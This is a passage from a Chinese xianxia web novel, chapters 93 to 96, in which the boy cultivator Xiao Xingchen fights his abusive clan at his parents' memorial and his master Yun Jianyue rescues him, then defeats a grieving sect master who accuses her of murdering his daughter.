他握着剑柄的手指因用力而骨节发白,目光缓缓扫过眼前这群道貌岸然的“长辈”,最后,越过他们,落在了被簇拥在中央、一直沉默不语的萧老爷子身上。 “爷爷,您也觉得,是孙儿的错吗?” 萧老爷子面色沉凝,声音带着不容置疑的威严:“错了,就要认。” 这五个字,如同重锤,狠狠砸在萧星尘心上。 他眼底最后一丝微光彻底湮灭。 “认错?我何错之有?” “你还敢嘴硬。”不等萧老爷子再开口,萧老三就迫不及待地跳出来,“凡儿好心劝你回头是岸,你却对他下如此狠手,景儿和萱儿不过是与你说了几句话,你就将他们打成重伤,这难道还不是错?” “好心劝我?”萧星尘嗤笑一声,“他们一口一个废物辱我在先,率先动手围攻我在后,言语间更是辱及我已故爹娘,若换做是你,你能忍吗?我不过是自卫反击,何错之有?” “你胡说八道!”萧萱儿捂着脸尖叫起来,“我们何时辱骂大伯大伯母了?明明是你先出言不逊,挑衅在先。” “是不是胡说,在场这么多双眼睛、这么多耳朵都看得清清楚楚,听得明明白白。”萧星尘的目光扫过周围那些噤若寒蝉的下人和旁系子弟。 那些人触及他的目光,立刻惶恐地低下头,无人敢与他对视,更无人敢出声作证。 他转而望向一直沉默的萧老爷子,声音讥讽,“修士耳聪目明,爷爷,你们方才就在这三丈之外的正厅之内,难道就真的一点动静都未曾听到吗?” 庭院与正厅近在咫尺,冲突如此激烈,打斗声、叫骂声不绝于耳,他们怎么可能听不见? 唯一的解释,便是他们一直在冷眼旁观,装聋作哑。 或许在他们眼中,自己这个“废物”本就活该被欺辱,不配得到家族的半分公正。 只是他们万万没想到,最终被打得毫无还手之力的,会是他们寄予厚望的萧凡。 萧星尘的目光一一扫过在场每一位长辈,“怎么?无话可说了?” “我今日回来,只为祭拜爹娘,从未想过招惹是非。但谁敢欺辱我,或辱我爹娘,即便姓萧,我也绝不容忍。” “反了!真是反了天了!”萧老三脸色铁青,暴怒之下,抬手便是一掌毫不留情地拍向萧星尘。 “今日我便替你那早死的爹娘,好好教训你这个忤逆不孝的孽障。” 这一掌,蕴含着筑基后期修士的全力,速度快得惊人。 显然,根本没给萧星尘留活路。 萧星尘在那筑基后期的威压锁定下,身体的滞涩感让他也难以完美闪避。 “嘭!” 掌风结结实实地印在他的胸口,他整个人被这股巨力打得倒飞出去,重重摔落在地,溅起些许尘土。 萧老三眼底闪过得意,小杂种,这一掌保证让你肠穿肚烂,没用的废物就不该出现在萧家丢人现眼。 然而,让所有人都预想不到的事情发生了。 他们竟然眼睁睁看着萧星尘没事人一般,爬了起来。 萧星尘甚至没有感觉到多少疼痛。 真正让他感到刺痛难忍的,是这份来自血脉亲人的、毫不讲理的羞辱与打压。 他没错,他们却逼他认罪;他反抗,他们便亲自出手镇压。 师尊说的对,修仙界,拳头才是唯一的硬道理。 谁的拳头硬,谁的话就是真理。 “噗嗤……” 在一片死寂中,萧星尘忽然低低地笑了起来。 他慢条斯理地拍打着身上沾染的灰尘,仿佛刚才那足以重创炼气修士的一掌,只是在给他挠痒痒。 他早该明白的。 一个被家族当作弃子抛弃了三年、不闻不问的人,早已毫无价值,又怎么会有人愿意为他主持公道? 唯一会真心护着他、教导他的,只有师尊。 或许,师尊早已预料到今日的局面,才狠下心来锤炼他,并一遍一遍不厌其烦的给他讲人生至理。 师尊,星辰……想您了。 在场所有人再次被眼前的景象震惊得说不出话来。 “不……不可能,我筑基后期全力的一掌,他怎么可能……毫发无伤?” 其余人也纷纷倒吸凉气,看向萧星尘的目光如同在看一个怪物。 “硬接三爷一掌,居然没事?” “这……这真是那个炼气三层的废物?” 一直沉默观察的萧老爷子,浑浊的老眼中骤然爆射出一抹精光。 他紧紧盯着萧星尘,心头剧震。 能如此轻松地硬抗筑基后期一掌而毫发无损,此子的肉身强度……恐怕足以媲美金丹期修士。 可他才八岁啊! 难道……难道星尘并非不能修炼,而是如同他父亲那般,是万中无一的绝世天才? 只是他们萧家一直以来都用错了方法,才让这颗明珠蒙尘多年? 而他去了玄天宗后,修炼了某种特殊的炼体功法,这才一飞冲天? 若真是如此……那萧家未来的希望,或许该重新掂量了。 这个念头一生,萧老爷子心中瞬间火热起来。 但他城府极深,并未立刻出声阻止,而是选择继续冷眼旁观,他想看看,这个孙儿到底还藏了多少本事。 他想再试探一下。 得到老爷子的默许,萧老三再次催动灵力。 “小杂种,我看你能扛到几时。”他怒吼着,又是接连数掌,狂风暴雨般轰向萧星尘。 “嘭!嘭!嘭!” 沉闷的击打声不断响起,萧星尘一次次被掌力击退、打倒,又一次次面无表情地、毫发无伤地从地上站起,拍干净灰尘。 仿佛萧老三打的不是一个血肉之躯,而是一尊千年玄铁铸就的人偶。 整个庭院陷入了一种诡异的寂静,所有人都被这违背常理的一幕吓得头皮发麻,看向萧星尘的目光充满了惊惧。 这到底是什么怪物?! 终于,萧星尘拍了拍最后一点灰尘,缓缓抬起眼眸,那目光平静得令人心寒。 “打够了吗?”他声音幽幽,“如果打够了,那么该我了。” 众人一脸错愕,不明所以。 萧老三怒火更炽,“小杂种,你要耍什么花样?” 萧星尘没有理会,利落地将外袍脱下,在手中随意掂了掂。 那轻松的模样,仿佛他手中拿着的不是一件轻薄的衣物,而是一件极具分量的东西。 一些眼尖的人渐渐察觉出不对劲,那衣服在他手中的垂坠感……似乎异常沉重? 下一秒,在所有人惊骇的目光注视下,只见萧星尘手臂肌肉微微绷紧,将那团在一起的法衣如同投掷铁球般,猛地向前一丢。 那团衣服瞬间化作一道模糊的黑影,撕裂空气,发出沉闷的呼啸声,以雷霆万钧之势,狠狠地砸向了众人身后那间富丽堂皇的正厅墙壁。 “轰隆——!!!!” 一声震耳欲聋的巨响猛然炸开。 仿佛那不是一件衣服,而是一颗从天而降的陨石。 坚固的墙体,如同纸糊一般被轻易撞碎。 承重结构被破坏,巨大的屋顶发出不堪重负的呻吟,在一片烟尘弥漫中,轰然倒塌。 萧家正厅,转眼间化为一片废墟。 死寂! 彻底的死寂! 所有人都被这石破天惊的一幕骇得魂飞魄散,目瞪口呆地望着那片废墟,大脑一片空白。 第94章 跪下认错,自废修为,否则砸碎你爹娘牌位 “不、不可能……” “那、那是衣服?怎么可能!” “他到底是怎么做到的?” 萧家众人怔怔地看着场中仅着中衣、身形挺拔的萧星尘,眼神里充满了前所未有的恐惧与难以置信。 然而,让他们更加震惊,乃至颠覆修炼常识的一幕,紧接着发生了。 卸下那件沉重法衣的萧星尘,只觉得身体从未如此轻盈过。 他下意识地轻轻吸了一口气,感觉空气不是吸入的,而是主动地地涌入他的四肢百骸,仿佛每一个毛孔都在自由地呼吸。 他好奇地轻轻向上跳了一下。 然而,就是这“轻轻”一跳—— 他的身体就像完全失去了重量,又像是被一张无形的巨弩猛地射向高空。 嗖的一下,整个人如同离弦之箭般,瞬间拔地而起,轻飘飘地跃起了足足四五丈高,远超任何炼气期、乃至筑基期修士凭借肉身所能达到的极限。 他如同一片羽毛般,缓缓落回地面。 全场死一般的寂静。 所有萧家人,包括见多识广的族老,全都张大了嘴巴,如遭雷击,一副没见过世面的震惊样子。 连筑基期修士都不可能如此轻描淡写地一跃数丈高。 可萧星尘,明明只有炼气三层的修为,他居然...... 萧星尘缓缓活动着手腕,骨骼发出“噼啪”脆响。 原本因那无形重力压制而略显紧绷沉滞的身形,此刻每一寸肌肉都蕴含着爆炸性的力量。 下一秒,空气突然发出撕裂般的锐响。 众人只看见一道模糊的白影掠过眼前,待定睛细看,萧星尘已如鬼魅般站在萧老三左后方。 “嘭!” 一记重拳狠狠砸在萧老三的脸上,力道之大,直接砸得萧老三原地转了三圈,半边脸颊以肉眼可见的速度高高肿起,嘴角破裂,血沫混着两颗牙齿喷溅在青砖上,惊得围观的子弟连连后退。 “这一拳,是替我自己打的,教教你,何为长辈的教养。” 萧老三在短暂的呆滞后是滔天的羞怒,他试图催动灵力反击,萧星尘那狂风暴雨般的攻击却已轰然降临。 拳头如流星砸落,肘击似重锤般狠厉,每一次攻击都快得超越了筑基期修士视觉捕捉的极限。 萧老三如同一个人形沙包,被打得毫无还手之力。 “这一脚,是替你那一双缺乏管教的儿女挨的。” “这一拳,是罚你身为长辈,不明是非,偏袒徇私。” 短短数息之间,方才还嚣张不可一世的萧老三已被打得鼻青脸肿,面目全非,肋骨断折的清脆声令人头皮发麻。 最后被萧星尘一记飞踢狠狠的踢飞了出去,萧老三蜷缩在地,再也起不来了。 萧星尘收势,气息平稳如常。 全场再次陷入一片死寂。 旁系子弟和下人们吓得面无人色,大气不敢喘一口。 嫡系众人则是又惊又怒,脸色铁青。 “反了!反了!小畜生,你竟敢对长辈下如此毒手。”一位须发皆张的族老气得浑身发抖,手指指着萧星尘,发出怒吼。 “忤逆不孝,狼心狗肺,萧家没有你这种子孙。” 萧老二眼见亲弟弟被打得如此凄惨,双目赤红,怒火攻心,筑基后期大圆满的修为毫无保留地轰然爆发。 “既然你爹娘死得早,你师尊又没教好你,那就由我这个二叔,来好好教教你什么叫规矩!” 他厉喝一声,祭出一柄燃烧着熊熊烈焰的长刀,炽热的火浪撕裂空气,当头斩向萧星尘。 萧星尘冷眼相对,眸中未有半分波澜。 “我敬你,叫你一声二叔,我奉劝你,适可而止。否则,连你一起打。” “小杂种,还敢嘴硬,看我不打死你。”萧老二被彻底激怒,攻势愈发凶猛起来。 呵!不知死活。 萧星尘心中冷笑,速度已然达到了一个令人匪夷所思的恐怖地步。 围观众人只见他的身影急速交错,在刀光火海中穿梭自如。 “太慢了!你的刀,太慢了!”萧星尘的声音从四面八方传来。 “砰!”一拳击中萧老二持握刀柄的手腕,烈焰长刀顿时脱手飞出。 “咔嚓!”紧接着一脚踹在膝盖,骨裂声混着惨叫声响起。 “噗!”最后一拳结结实实砸在胸口,萧老二鲜血狂喷,倒飞出去,重重摔落在地,激起一片烟尘。 碾压! 彻彻底底的碾压! 筑基后期大圆满的境界,在萧星尘面前,依旧不堪一击。 “当家的!” 萧二婶和萧三婶发出凄厉绝望的哭嚎,扑到各自丈夫身边,眼见两人惨状,随即猛地抬头,对着萧老爷子和一众族老们哭天抢地:“父亲,各位叔伯,你们看到了吗?这小畜生是要造反啊,您可要为我们做主啊!” 族老们脸色铁青,纷纷怒斥萧星尘,要求严惩。 萧老爷子看着眼前一幕,心中早已掀起惊涛骇浪。 他死死盯着萧星尘,炼气三层却能碾压筑基后期,这绝不是寻常天赋能做到的。 这孩子定是在玄天宗得了天大的机缘。 此子未来的成就,恐怕比他父亲还要恐怖。 他内心火热,仿佛看到了萧家崛起的第二道曙光。 但长久以来的威严和对萧星尘忤逆行为的不满,让他拉不下脸来缓和局面。 他最终只是沉着脸,用一副试图息事宁人却隐含责备的口吻道:“星辰,你闹够了没有?” 这句话,如同一盆冰水,彻彻底底浇灭了萧星尘心中对这位祖父最后的一丝温情与期望。 他的目光穿过人群,直直撞进萧老爷子浑浊的眼底。 他眼神里没有愤怒,只有一种近乎死寂的平静,却比任何怒吼都更让萧老爷子心悸。 “爷爷。”他轻轻开口,“是非对错,前因后果,您心如明镜。可到了此刻,您依然觉得,是孙儿在胡闹吗?” 萧老爷子沉着脸,却不发一言。 这一刻,萧星尘不需要答案了。 那沉默的纵容,那偏颇的质问,早已给出了最清晰的答案。 “冥顽不灵,此子已入魔障,无需再跟他废话。”一位脾气火爆的族老厉声下令,“所有侍卫听令,将此忤逆不孝之徒给我拿下,若敢反抗,就地格杀。” 顿时,数十名炼气期的侍卫从庭院四周涌出,手持明晃晃的兵刃,结成的战阵散发出肃杀之气。 萧星尘眼神一寒,他如同猛虎冲入羊群,身影化作流光穿梭其中,拳风过处,侍卫倒飞,痛苦的呻吟声此起彼伏。 不过片刻,地上已躺满哀嚎的侍卫,而少年衣角未损。 他冷冽的目光扫过那些脸色煞白、惊怒交加的族老。 族老们气得捶胸顿足,又惊恐万分。 “快!快去把宴儿叫过来!”一位族老慌忙对身边早已吓傻的小厮喊道。 小厮连滚爬爬,跌跌撞撞地冲向一处幽静的书房。 此刻书房内,萧宴修长的手指正划过画像上女子的眉峰。 画中女子身着白衣,墨发如瀑,面容清冷如月下寒梅,气质孤高。 他眼神专注而痴迷。 “大少爷,不好了!”小厮惊慌失措地闯进来,打破了满室的静谧。 萧宴眉头骤然紧皱,迅速将画卷起收好,眼底闪过一丝不悦。 “何事如此慌张?” 小厮喘着粗气,急声道:“大、大少爷,是萧星尘回来了,他把二爷、三爷和您的亲弟弟凡少爷都给打了,几十个侍卫也全被打趴下了,族老们让您快过去呢。” 萧宴闻言,眼中闪过一丝诧异。 萧星尘不是个废物吗?怎么可能把他父亲、三叔和凡儿都打了? 事态紧急,来不及细问,他立刻起身,“带路!” 当他快步赶到前院时,映入眼帘的正是满地狼藉、哀鸿遍野的画面。 侍卫们痛苦呻吟,族老们惊慌失措,而萧星尘独立于场中,眼神冰冷。 “宴儿,你来得正好,快!快杀了这个小畜生!”萧老二肿着半张脸,嘶声力竭地喊道。 萧宴眉头紧锁,语气带着居高临下的训斥,“星尘,今天是你父母忌日,你确定要继续在这里胡闹下去,让他们在九泉之下不得安宁吗?” 萧星尘看着他这位被誉为萧家下一代继承人的大堂哥,冷冷一笑,笑意却未达眼底。 “若非他们屡屡相逼,步步欺辱,我何至于此?大堂兄若不明前因后果,还是莫要开口,偏听偏信的好。” “小畜生,你还敢顶嘴!”萧老二肿着脸怒吼,“宴儿,别跟他废话,直接动手,杀了他!” 萧宴眉头皱得更深,虽觉父亲的话过于狠辣,有失身份,但也认为萧星尘殴打长辈,确实过于忤逆不孝。 金丹初期的强大灵力瞬间自他体内爆发而出,庞大的威压如同无形山岳,轰然压在萧星尘身上。 萧星尘膝盖猛地一弯,全身骨骼发出不堪重负的呻吟,嘴角立刻溢出一丝鲜血。 但他赤红的眼睛死死盯着萧宴,脊背挣扎着,一寸寸想要挺直。 “认错。”萧宴语气冰冷。 萧星尘咬紧牙关,鲜血从齿缝渗出,从牙缝里挤出三个字:“我…没…错!” 萧宴眸色一沉,将威压加重了一分。 “认不认错?” 萧星尘闷哼一声,“我......不......认......” 就在这时,萧景突然抱着两个漆黑的牌位从祠堂方向跑了过来,脸上带着报复的快意。 他将牌位高高举起,对准受伤的萧星尘,猖狂道:“看见没?这就是你那死鬼爹娘,当年他们压我爹娘一头,现在轮到我压你一头了,快磕头认错,并自废修为,不然我就把这破木头砸碎,让他们在阴曹地府都做不成人!” 这一幕,无耻恶毒到了极点。 萧星尘猛地抬头,双目如血,滔天的怒火与彻骨的杀意如同火山喷发。 “萧景!你敢!!!” 他挣扎着要站起,却被萧宴的威压死死压制。 他的眼睛扫过那些道貌岸然的族老,“你们就这般纵容萧景对我爹娘的牌位不敬吗?难道你们都忘了,萧家能有今日的荣耀,偌大的家业,到底是谁带来的?是谁用命换来的!” "哼!"一位族老冷笑一声,眼中满是不屑,“你爹娘死的这些年,我们养着你,已经对得起他们了。萧家能有如今的地位,也不全靠你爹娘,乃是全族上下共同努力的结果。” “你爹是萧家人,为家族效忠、乃至牺牲,本就是他的分内之事,有何可一再提及的。” 冰冷的话语,如同最锋利的尖刀,彻底斩断了最后一丝名为亲情的羁绊。 萧星尘缓缓闭上眼,再睁开时,眸中已只剩下一片焚尽一切的冰冷与死寂。 “好一个……分内之事。” 第95章 谁欺你一分,为师便让他百倍偿还 “小贱种,还敢嘴硬,你到底道不道歉?”萧景作势要将牌位狠狠摔在地上。 萧星尘见状,双目瞬间赤红,额角、脖颈、手臂上所有青筋暴凸而起。 他血肉之中的星辰之力开始疯狂运转,皮肤表面竟浮现出点点银色光斑,仿佛将一片微缩的璀璨星河烙印在了身体之上,神秘而狂暴。 萧宴那金丹期的威压如同实质的深海,沉重无比地挤压着萧星尘的每一寸骨骼、每一块肌肉。 萧星尘的指甲深深陷入掌心,每一寸肌肉都在威压下发出不堪重负的哀鸣。 可下一秒,少年猛地抬头,星芒从眼底暴涨。 他如同一柄烧红的钢刀,硬生生在金丹威压中撕开一道裂缝,他周身血雾被无形壁垒挤压成血色光带,在身后拖出长长的残影。 "爹!娘!"嘶吼震天,萧星尘的瞳孔完全被星芒占据。 他仿佛感觉不到疼痛,眼中只有那两块即将被摔碎的牌位。 伴随着又一声震天怒吼,他周身银色星光猛地大盛,如同挣脱了枷锁的洪荒凶兽,带着一往无前的气势,猛地扑向了萧景。 “什么?”萧景脸上的狞笑瞬间化为惊恐。 “嘭!!!” 一记蕴含着无尽愤怒与星辰之力的重拳,狠狠砸在了萧景的腹部。 “呕——”萧景眼珠暴突,胆汁混合着鲜血从口中喷出,剧痛让他瞬间脱力,高举的牌位立刻松脱。 萧星尘闪电般伸手,以一种近乎虔诚的姿态,将父母的牌位紧紧抱入怀中。 下一秒,他另一只手毫不留情地一掌拍出。 “砰!” 萧景惨叫着飞出去,重重砸在那片正厅的废墟之中,生死不知。 再看萧星尘,他浑身浴血,却将牌位贴在心口,血红的眸子扫过众人。 "辱我父母者,死。" 整个庭院一片死寂。 所有萧家人都被这骇人的一幕惊得魂飞魄散。 顶…顶住了? 萧星尘居然顶住了金丹期的威压? 不仅顶住了,还爆发出如此恐怖的力量和速度,瞬间反杀了萧景? 越级挑战听说过,但这可是跨越了两个大境界的威压啊! 这简直是颠覆认知。 萧老爷子瞳孔剧烈收缩,心中的震撼无以复加,浑浊的老眼迸发出炽热光芒。 此子的潜力和那份悍不畏死的意志,甚至远超他父亲当年。 萧家真正的麒麟儿,就在眼前。 他的眼神变得无比热切。 而萧老二,则嫉妒得几乎发狂。 为什么? 为什么大哥是天才,死了留下个废物儿子如今也变成了天才? 而他的儿子却...... 不!绝不能让萧星尘成长起来! 否则萧家哪里还有他们二房的立足之地? “宴儿,杀了他!绝不能留后患!” 族老们也纷纷从震惊中回神,惊恐之下,杀意更盛。 周围的旁系子弟和下人们见状,也下意识地跟着呐喊起来,声音汇聚成令人心悸的声浪: “杀了他!” “杀了他!” “杀了他!” 刹那间,近百道威压如乌云压顶般汇聚。 强弩之末的萧星尘单膝跪地,在那叠加的威压下,他连一根手指都难以动弹。 萧宴从极度的震惊中回过神来。 他看着浑身浴血却眼神执拗的萧星尘,再听到父亲和族老的命令,眼中最后一丝犹豫化为冰冷的杀意。 “星辰,我给过你机会了,是你自己冥顽不灵,执意寻死。” 萧宴缓缓举起手中的本命灵剑,金丹初期的灵力毫无保留地注入剑身,“下辈子,学聪明点。” 话音落下,他眼中厉色一闪,猛地一剑劈出。 一道凝练无比、足以开山断流的剑气,撕裂空气,直劈向无法动弹的萧星尘。 这一剑若中,萧星尘必将被一分为二。 所有萧家人都屏住了呼吸,瞪大了眼睛,仿佛已经看到了那血腥的画面。 剑气逼近咽喉时,萧星尘甚至能感受到皮肤被割裂的刺痛。 可就在这时,天地突然降下无边寒意。 剑气的尖端瞬间凝出冰花,冰晶以肉眼可见的速度顺着剑锋攀爬,不过呼吸间,那道足以开山的金丹剑气,竟被冻成了一柄闪烁着寒光的冰剑,悬在半空纹丝不动。 月白色的身影自虚空踏出,云见月广袖翻飞间,漫天威压如残雪遇阳般消散。 "萧家百年清誉,竟沦落到以众欺寡,还欺辱到本尊弟子头上,你们好大的胆子!” 云见月的声音如同冰川开裂,每一个字都带着刺骨寒意。 与此同时,一股浩瀚如星海、磅礴如天威的恐怖气息骤然降临。 所有萧家人,仿佛被泰山压顶。 “噗通!”“噗通!”“噗通!”跪倒之声不绝于耳。 无人能在这股宛如天威的压迫下站立。 就连萧老爷子也被压得瘫在地上,浑身骨头咯吱作响,眼中充满了无边的恐惧。 众人艰难地抬头,循着那声音和恐怖的威压来源望去—— 只见庭院中央,悄然落下两道身影。 为首的是一位身着月白衣裙的女子,身姿高挑,容颜清冷绝丽。 她周身散发着令人心悸的寒意与威严,那双深邃的眼眸淡淡扫过全场,凡是被其目光触及者,皆如坠冰窟,神魂战栗,生不出半分反抗之心。 在她身后半步,站着身着繁复华丽花衣的男子,容貌昶丽绝伦,一双桃花眼似笑非笑,手中折扇轻摇,仿佛只是来看一场热闹,但那周身若有若无散发出的气息,却同样深不可测,令人不敢小觑。 萧宴被那股威压压得跪在地上,但他却艰难地抬起头,目光死死盯住了云见月。 那一刻,他眼中爆发出无比复杂的光芒。 有震惊,有骇然,但更多的,却是一种近乎病态的痴迷与惊艳。 是她!竟然是她! 前不久在烈焰风火林中,他偶然见过她一面。 那时她独自一人,白衣清冷,于万千火海中翩然穿梭,踏空以身入雷劫,救下一条化形青蛇。 那强大、冷漠、目空一切的身影,从此便深深烙印在他心底,成了他无数次午夜梦回的执念。 原来,她是萧星尘的师尊。 原来她就是传闻中那个痴恋楚凌风、虐待徒弟、声名狼藉的玄天宗第六代掌门云见月。 今日一见,那些传言是何等可笑。 眼前这般风姿,这等实力,怎么可能去做他人的裙下臣? 她合该是云端之上的神女,冷漠地俯视众生。 而她维护徒弟的样子……更是与他阴暗想象中的任何一种模样都不同,却更让他心痒难耐,甘愿沉沦。 他甚至觉得,能被她用如此冰冷、如同看蝼蚁垃圾般的眼神扫过,也是一种无上的享受。 他渴望她的注视,内心一个阴暗的角落甚至在疯狂叫嚣:若能做她脚下最卑微的狗,任她驱使践踏,似乎也是极好的…… 云见月没有多看萧宴一眼,她的目光落在了浑身是血的小小少年身上。 伸出纤细修长的手指,指尖萦绕着淡淡的清凉灵气,温柔地擦去萧星尘脸上的血迹。 “不要怕,今日欺你者,为师替你讨回来。” “师尊……”萧星尘紧紧抱着父母的牌位,一直强忍的委屈、愤怒、后怕和刚刚拼死一搏的决绝,在这一刻终于找到了宣泄口。 泪水模糊了他的视线,他带着浓重鼻音的声音哽咽道:“他们…他们想摔了爹娘的牌位……” “嗯,为师看到了。”云见月的声音放缓,目光扫过那两块被擦拭得干干净净的牌位,眼中寒芒更甚。 “不必哭,这世间本就没有永恒的依靠,唯有让自己成为日月,方能不惧暗夜。记住今日的痛,然后,变得比任何人都强大,让今日欺你辱你者,将来连仰望你的资格都没有。” 萧星尘用力地点头,将师尊说的每一个字都刻进心里。 云见月轻轻拍了拍他的肩膀,再次转过身时,周身气息骤然变得冰寒无比。 “萧老爷子。”她的声音不带一丝温度,“本尊将徒儿完好无损地送回来祭拜父母,你们萧家,便是用联合威压、刀剑相向、甚至毁人宗祠牌位来招待的?” “数典忘祖,纵容子孙行此猪狗不如之事,你这家主,当得可真是‘公正’!” 萧老爷子的喉结重重滚动,浑浊的老眼死死盯着萧星尘怀中的牌位。 那是他的嫡长子的灵位,也是萧家崛起的希望。 他后悔的不是纵容子孙,而是差点亲手毁掉一个超越长子的天才。 冷汗顺着皱纹滑落,他张了张嘴,想说些什么,却又被云见月的威压扼住喉咙,只能发出嗬嗬的闷响。 云见月目光冰冷地扫过跪满一地的萧家众人,声音如同九天寒冰,清晰地传入每个人耳中: “好一个百年世家!好一个诗礼传家!” “小的废物无能,便以多欺少,言语恶毒,动手围攻!” “老的昏聩偏袒,不明是非,仗势欺人,以长压幼!” “最后竟使出毁人牌位这般龌龊下作、无耻之尤的手段!” “你们萧家的门风,真是让本尊大开眼界!” 每一句话,都像一记无形的耳光,狠狠扇在每一个萧家人脸上,让他们羞愤欲死,却连抬头反驳的勇气都没有。 萧宴挣扎着,道:“云宗主,这其中有误会。” “这里轮得到你说话?”云见月的目光扫过萧宴时,眼中没有半分波澜。 她只是随手轻轻一挥。 “嘭!” 萧宴如同被一座无形大山正面撞上,身体直接飞了出去,鲜血狂喷,彻底失去了反抗之力。 云见月懒得再看其他人,低头看向萧星尘,语气温和,“星辰,告诉为师,你想如何?” 萧星尘深吸一口气,道:“师尊,徒儿已对此地再无留恋,恳请师尊做主,允我脱离萧家,自请于族谱除名,并将我父母牌位,请回玄天宗供奉。” “不可!星辰,你是我萧家血脉啊。”萧老爷子闻言,如遭雷击,挣扎着想要起身,却被威压死死按着,只能急声道,“是爷爷错了,是家族对不起你,爷爷发誓,一定严惩萧景萧凡他们,以后定将最好的资源都给你,你才是萧家未来的希望啊,莫要说气话。” “气话?”萧星尘笑了,笑容里充满了悲凉和嘲讽,“从你们纵容他们欺辱我开始,从你们联手压制我开始,从萧景举起我父母牌位开始,我们就已恩断义绝,没有转圜余地了。” 萧老爷子还想再劝。 云见月却已冷冷开口,“本尊准了。从今日起,萧星尘与萧家,缘尽于此,再无瓜葛,其父母牌位,自当归由其独子供奉。若再有纠缠——” 她目光一厉,周身寒气大盛,院中地面瞬间凝结出一层厚厚的冰霜。 “——犹如此砖!” 话音未落,她脚下的一块青石板瞬间化为齑粉。 所有萧家人噤若寒蝉,再无人敢出声反对。 然而,就在此时—— “云!见!月!你这毒妇!还我瑶儿命来!!!” 一声饱含无尽悲愤与杀意的怒吼,如同滚滚天雷,自天际轰然传来。 第96章 苏心瑶还活着,楚凌风诡计暴露 苍穹之上,三道身影携带着毁天灭地的气息悬浮于空。 恐怖的化神后期威压,瞬间淹没了整个萧家。 刚刚从云见月威压下喘过气来的萧家众人,又被这股带着杀意的气压得内脏剧痛,修为低微的直接七窍渗血昏厥。 来者正是天元宗宗主苏擎天,他身边是一位面容儒雅却目光锐利的中年男子,是天元宗长老林凌之,以及站在林凌之身边的林思思。 "云见月!"苏擎天眼中爆发出滔天恨意,声音泣血,“你这蛇蝎毒妇,我女儿不过与你有些许口角,你竟下毒手杀了她。她还那么年轻……你怎么敢!你怎么能!今日我必将你碎尸万段,然后再踏平你玄天宗,为我瑶儿报仇雪恨。” 云见月眼神瞬间凝滞,但又迅速恢复平静。 苏心瑶死了? 剧情里,苏心瑶可是女主之一,怎么可能这么快就死了? 既是女主,不是应该有女主光环吗? 谁会杀了她? 她内心不解,神色却依旧平静。 她抬眸看向空中状若疯魔的苏擎天,道:“苏宗主,我没有杀苏心瑶。” “还敢狡辩!”苏擎天怒吼,“瑶儿临终前以血为引发出的传讯,铁证如山,还能有假?” “丧女之痛,本尊理解,但仅凭一道来历不明的传讯,便认定本尊是凶手,是不是太过武断了?” “拿命来——”苏擎天早已被悲痛和愤怒吞噬了理智,根本不听云见月解释。 他狂吼一声,火灵力凝聚成一只遮天蔽日的巨大火焰手掌,带着焚尽万物的可怕高温,朝着云见月狠狠拍下。 空气被灼烧得扭曲,下方庭院草木瞬间焦枯。 林思思急得脸色惨白,死死拉住身旁父亲林凌之的衣袖:“爹!您快劝劝宗主,我觉得…我觉得瑶瑶肯定不是云见月杀的,以往瑶瑶那般挑衅她,她最多就是冷言几句,从未真正计较过,怎么可能突然下此杀手?” 林凌之眉头紧锁,看着空中那足以蒸发湖海的火焰巨掌,沉声道:“思思,知人知面不知心。如今证据确凿,宗主爱女心切,岂是能劝住的?” 他话音未落,空中的碰撞已然爆发。 面对那毁天灭地的一掌,云见月眼神微凝,纤白五指在空中虚拢。 “凝。” 以她为中心,极致寒意瞬间爆发。 肉眼可见的冰蓝色波纹悍然撞上火焰巨掌。 冰与火的极致碰撞,爆发出惊天动地的巨响,逸散出的能量冲击波向四周疯狂扩散,萧家的亭台楼阁、雕梁画栋被大片大片地掀飞、震碎。 僵持仅一瞬。 “咔嚓”一声巨响响起。 只见那狂暴的火焰巨掌竟从指尖开始,以肉眼可见的速度被急速冻结、吞噬。 赤红火焰熄灭,化为幽蓝冰晶,最终整只巨掌化为一座巍峨的冰雕,随即“轰”的一声,爆碎成漫天晶莹粉末,簌簌落下。 “什么?!”苏擎天瞳孔骤然收缩,脸上浮现难以置信的惊骇。 他含怒的一击,竟被对方如此轻描淡写地化解了? 他们两个可是相差了一个小境界啊! 云见月悬立空中,衣袂飘飘,周身寒气缭绕,冷冽的声音再次响起:“苏宗主,你女儿确实非我所杀。你若是继续无理取闹,休怪本尊不客气了。” “纳命来!”苏擎天理智尽失,祭出本命法器。 一柄燃烧着熊熊烈焰的巨斧,不顾一切地劈向云见月。 斧刃划过天空,留下久久不散的灼痕。 “冥顽不灵。”云见月眼神彻底冷下,“既如此,便让你先冷静冷静!” 她身影一动,化作一道撕裂长空的冰痕,竟主动迎了上去。 接下来,是一场令下方所有观战者瞠目结舌、心胆俱裂的越级大战。 云见月虽仅为化神中期,但其身法快如鬼魅,更是能随心所欲地调动天地间的至阴寒力。 苏擎天攻势狂暴绝伦,烈焰滔天,却总被云见月以精妙到毫厘的身法避开,或以绝对寒冷强行镇压。 空中,冰霜蔓延长空与烈焰咆哮嘶吼不断碰撞、爆炸,绚烂而又致命。 云见月越战越勇,竟完全压制住了疯狂状态的苏擎天。 终于,她凝聚全身寒力的一掌,穿透了苏擎天密不透风的火焰防御,结结实实拍在了他的胸膛之上。 “噗——” 苏擎天猛地喷出一口滚烫的鲜血,血液离体瞬间竟被寒气冻结成赤色冰晶。 他身体如同陨石般从高空急速坠落。 “轰!” 他重重砸在庭院青石板上,不等他做出反应,便被冻成了一尊冰雕。 “宗主!”林凌之大惊失色,手中一杆青玉尺浮现,直指云见月周身关键大穴。 云见月毫无惧色,再度与林凌之战在一起。 林凌之的战斗风格与苏擎天的狂暴截然不同,更为沉稳老辣,尺影千重,虚实难辨。 但云见月的极致寒力对他的木灵根天生克制,青玉尺上的光华在绝对寒冷下渐渐黯淡。 云见月并指如剑,寒意凝于指尖,一指点出,精准无比地点在其肩井穴上。 极寒之气瞬间侵入经脉,林凌之闷哼一声,整条手臂连同半边身子瞬间被冻僵,灵力运转滞涩,身体随之失控,从空中跌落下来。 “爹!”林思思惊呼着冲上去,用身体接住林凌之。 随后,她仰头看着空中的白衣女子,眼中充满了恐惧和一丝难以置信的祈求。 “云见月,求你别伤害我爹。” 云见月悬浮于空,微微喘息,连续力战两位化神后期强者,对她消耗也极大。 她俯视着下方狼藉。 这一刻,万籁俱寂,唯有寒风呼啸。 所有萧家的人都惊呆了,如同看怪物一样看着云见月,眼中充满了敬畏与难以置信。 化神中期,越级挑战两位化神后期,而且还赢了。 这云见月的实力,竟恐怖如斯?! 难怪能教出萧星尘这般妖孽的徒儿。 